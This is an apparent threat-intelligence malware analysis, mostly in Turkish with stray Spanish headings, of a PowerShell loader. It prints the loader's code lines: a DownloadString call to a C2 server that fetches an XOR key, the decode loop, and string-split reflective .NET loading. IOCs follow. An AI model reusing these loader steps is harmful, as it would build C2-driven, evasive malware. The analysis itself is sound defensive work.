Genel Bakış
PowerShell XOR .NET Loader, 5214 satırlık bir PowerShell betiğidir. Betiğin büyük bölümü gömülü XOR şifreli bir .NET assembly'den oluşmaktadır. Yürütme sırasında MachineGUID ile kimlik doğrulama yapılmakta, C2 sunucusundan (37.49.226.113) XOR anahtarı ve giriş noktası parametreleri çekilmekte, ardından yansımalı .NET yüklemesi gerçekleştirilmektedir.
Teknik Analiz
Yürütme Akışı
- Gömülü Payload:
$bdtdeğişkeninde XOR şifreli .NET assembly byte dizisi (~5200 satır hex) - MachineGUID Tanımlaması:
$guid = (Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Cryptography).MachineGuid - C2 İletişimi:
$cffd = $clnt.DownloadString("http://37.49.226.113/index.php?id=$guid&subid=5OMy8xSO") - Yanıt Ayrıştırma:
$cffd.Split('|')→$connf[0]= XOR anahtarı,$connf[1..3]= assembly parametreleri - XOR Çözme:
for ($i = 0; $i -lt $bdt.Length; ++$i) { $bdt[$i] = $bdt[$i] -bxor $k[$i % $k.Length] } - Yansımalı .NET Yükleme:
$typee = [System.Type]::GetType("Sy"+"st"+"em.Re"+"flec"+"tion.Assemb"+"ly") $mtd = $typee.GetMethod("Load", [Type[]]@([byte[]])) $sm = $mtd.("In"+"vok"+"e")($null, @(,$bdt)) $ep = $sm.EntryPoint $ep.Invoke($null, (, [string[]] ($connf[1], $connf[2], $connf[3])))
C2 Parametreleri
- Sunucu IP:
37.49.226.113 - Endpoint:
/index.php?id=[MachineGUID]&subid=5OMy8xSO - Kampanya/Affiliate ID:
5OMy8xSO - Protokol: HTTP (port 80)
Confianzalik Analizi
- Dize parçalama (string splitting):
"Sy"+"st"+"em","In"+"vok"+"e"— statik analizi engelleme - MachineGUID kullanımı: Her kurban için benzersiz XOR anahtarı — payload analizi zorlaştırılıyor
- Çevrimiçi bağımlılık: C2 çevrimdışıysa payload çözülemiyor
Teknik Propiedadler
| Propiedad | Valor |
|---|---|
| Tipo de archivo | PowerShell Script (.ps1) |
| Tamaño | 478.131 bayt / 5.214 satır |
| Payload Şifreleme | XOR (anahtar C2'den alınır) |
| Yükleme Yöntemi | Reflection Assembly.Load |
| Kimlik | MachineGUID (HKLM) |
| C2 IP | 37.49.226.113 |
| Kampanya ID | 5OMy8xSO |
IOC Özeti
- C2 IP:
37.49.226.113 - C2 URL:
http://37.49.226.113/index.php?id=[GUID]&subid=5OMy8xSO - Kampanya ID:
5OMy8xSO - SHA256:
6df8ffa08152c1ef097a2caa52675c4085cc459d1d7e28053cfc8a451a8432aa
Lista IOC (3 indicadores)
IOC — PowerShell Loader
# SHA256
6df8ffa08152c1ef097a2caa52675c4085cc459d1d7e28053cfc8a451a8432aa
# IP
37.49.226.113
# URL
http://37.49.226.113/index.php
| Tipo | Valor | Nota |
|---|---|---|
| sha256 | 6df8ffa08152c1ef097a2caa52675c4085cc459d1d7e28053cfc8a451a8432aa | |
| ip | 37.49.226.113 | |
| url | http://37.49.226.113/index.php |